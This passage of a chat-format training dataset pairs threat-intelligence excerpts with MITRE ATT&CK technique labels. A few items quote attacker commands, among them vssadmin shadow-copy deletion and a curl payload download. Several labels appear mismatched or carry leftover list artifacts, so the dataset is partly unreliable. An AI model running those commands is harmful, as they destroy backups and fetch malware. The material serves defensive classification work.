                "content": "Some  samples use AES to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As with other versions of Winnti, the core component of the malware doesn’t natively provide the operators with distinct functionality⁸. This component is primarily designed to handle communications and the deployment of modules directly from the command-and-control servers. However, prior reporting⁹ suggests that the operators commonly deploy plugins for remote command execution, file exfiltration, and socks5 proxying on the infected host. We expect similar functionality to be leveraged via additional modules for Linux"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis can use Base64 to encode its C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then, it encrypts it with 3DES before sending it (figure 28). The _P.Y (\"0295A. 1618C\") method in figure 26 creates the MD5 hash of the string. This hash is used as secret for the 3DES encryption"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This targeting of third party organizations to attack further targets is a risky move on the attackers’ part, as it potentially reveals their activity within the compromised third party organizations to the new target (those receiving the malicious documents  Making sense of MuddyWater When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East, we were somewhat confused as the previous public reporting had attributed these attacks to FIN7"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 actors used the following command after exploiting a machine with LOWBALL malware to acquire information about local networks: \"ipconfig /all >> %temp%\\download\""
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used GitHub repositories for downloaders which will be obtained by the group's .NET executable on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy  has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson contains a command to list processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "According to our research partner in Japan, the original EvilPost attack in December 2015 arrived as a spear-phishing email with a Word document attached."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist has used HTTP GET and POST requests over port 443 for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some SeaDuke samples have a module to extract email from Microsoft Exchange servers using compromised credentials."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The JavaScript is heavily obfuscated. The first variable—a—is an array of obfuscated values"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used `mshta` to execute DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of creating reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either Emotet, Bokbot, TrickBot, or Bazar."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP)."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can collect the IP address of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard has the ability to encrypt PE files with a reverse XOR loop."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RawDisk has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The document is disguised from the Colombian National Civil Registry and uses Spanish to prompt the victim to enable the macro code in order to execute the subsequent payload"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. Numbered Panda will frequently use blogs or WordPress in the c2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments. Disclosure of this information went through the same IGL process as discussed in the Whois Anchor Panda blog post"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses RC4 to encrypt the message body of HTTP content."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can deploy a pod that mounts its node’s root file system, then execute a command to create a reverse shell on the node."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy a container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impacket can be used to sniff network traffic via an interface or raw socket."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS has a command to take a screenshot and send it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY can gather user names."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can gather information about domain trusts by utilizing Nltest."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1: Configuration file that adds new C2 server and forces the data-stealing backdoor to use it   Figure 2: Configuration file that adds TCP tunnels and records desktop video Command and Control CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke has a command to get text of the current foreground window."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used spearphishing with Microsoft Office attachments to enable harvesting of user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has created scheduled tasks for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis has several commands to search directories for files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An example of these tasks is shown below: • write a file and execute it with CreateProcess() capturing all of the standard output • update C&amp;C configuration, plugin storage, etc • update autoruns • write arbitrary files to the filesystem (“File Upload”) • read arbitrary files from the filesystem (“File Download”) • update itself • uninstall • push task results to C2 servers"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can use ipconfig and Arp to collect network configuration information, including routing information and ARP tables."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets information like the C2 server, ID, the downloaded payload, and the decoded project.aspx in a registry key under “HKCU\\Software\\ApplicationContainer\\Appsw64”. These keys will be used in the second stage"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When accessing the Pastebin URL, an encrypted blob is downloaded that requires a corresponding RSA private key from the configuration file. The configuration file analyzed did not contain the RSA private key and therefore we were unable to decrypt the contents of the Pastebin link. We assess the decrypted blob was likely a task for the Carbon instance"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro can use Native API to enable obfuscation including `GetLastError` and `GetTickCount`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth uses the filename owaauth.dll, which is a legitimate file that normally resides in \"%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\\"; the malicious file by the same name is saved in \"%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy's decrypter have been inflated with junk code in between legitimate API functions, and also included infinite loops to avoid analysis."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can delete files from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has used Tor nodes for C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell can obtain a list of user accounts from a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Extracting and dropping an OpenSSH binary from its PE resources - Extracting, dropping, and configuring the RDP Wrapper Library software from its PE resources - Creating a new user “supportaccount” with a password of “Ghar4f5” - Adding this user to the “Remote Desktop Users” and “Administrators” groups"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT12 has used RIPTIDE, a RAT that uses HTTP to communicate."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zips up files before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Metasploit to perform reflective DLL injection in order to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 created tokens using compromised SAML signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a module to receive a notification every time a USB mass storage device is inserted into a victim."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris has been packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While FIN7 has embedded VBE as OLE objects for over a year, they continue to update their script launching mechanisms. In the current lures, both the malicious DOCX and RTF attempt to convince the user to double-click on the image in the document, as seen in Figure 1. This spawns the hidden embedded malicious LNK file in the document. Overall, this is a more effective phishing tactic since the malicious content is embedded in the document content rather than packaged in the OLE object"
            },
            {
                "role": "assistant",
                "content": "T1497.002 - User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This specific key is set to point towards the path of the previously copied Cardinal RAT executable path. The executable will periodically query this registry key to ensure it is set appropriately. If the executable finds the registry key has been deleted, it will re-set it. The Load registry key acts as a persistence mechanism, ensuring that this Cardinal RAT executes every time a user logs on"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp attempts to exploit the following vulnerabilities in order to execute its malicious script: CVE-2012-0874, CVE-2010-1871, CVE-2017-10271, CVE-2018-2894, CVE-2016-3088, JBoss AS 3/4/5/6, and the Hadoop YARN ResourceManager."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In our analysis, the macro is obfuscated, character by character, using the decimal ASCII code"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy enumerates the current user during the initial infection."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These anti-forensic recovery commands are quite interesting and appear to make use of an undocumented feature of the vssadmin resize command. While the first command in Figure 2 above, vssadmin Delete Shadows /all /quiet, is commonly used by ransomware, the command option vssadmin resize shadowstorage is rarely used. In situations where shadow copies were not created by vssadmin, but by third-party applications (such as backup software), vssadmin can display an error and not delete the backups. Try removing them with the backup application which created them. The vssadmin resize shadowstorage command is a “hack” that relies on vssadmin to delete storage when the shadow copies are resized. It forces the shadow copies to be deleted regardless of their context. The command works by resizing the default shadow volume size from 10 percent to 401 MB (the minimum size is 300 MB). Then the shadow storage is set to unbounded, which allows it to use all available disk space. The shadow copies are then deleted by calling the command vssadmin Delete Shadows /all /quiet a second time"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has used batch files to initiate additional downloads of malicious files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used CMSTP.exe and a malicious INF to execute its POWERSTATS payload."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - Signed Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has sent spearphishing emails containing malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has created new services or modified existing ones to run executables, commands, or scripts."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre injects into other processes to load modules."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A menuPass macro deletes files after it has decoded and decompressed them."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "connects over 443 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Team member or team identifier Analysis of the OwaAuth web shell revealed a PDB string with the \"SyberSpace\" username (see Figure 20)"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has identified specific potential victims at targeted organizations."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the \"curl -fsL \"$url\" >$tmp_path\" command to download malicious payloads into a temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If that HTTPS request is not successful, the downloader will issue an HTTP request"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kivars has the ability to capture screenshots on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
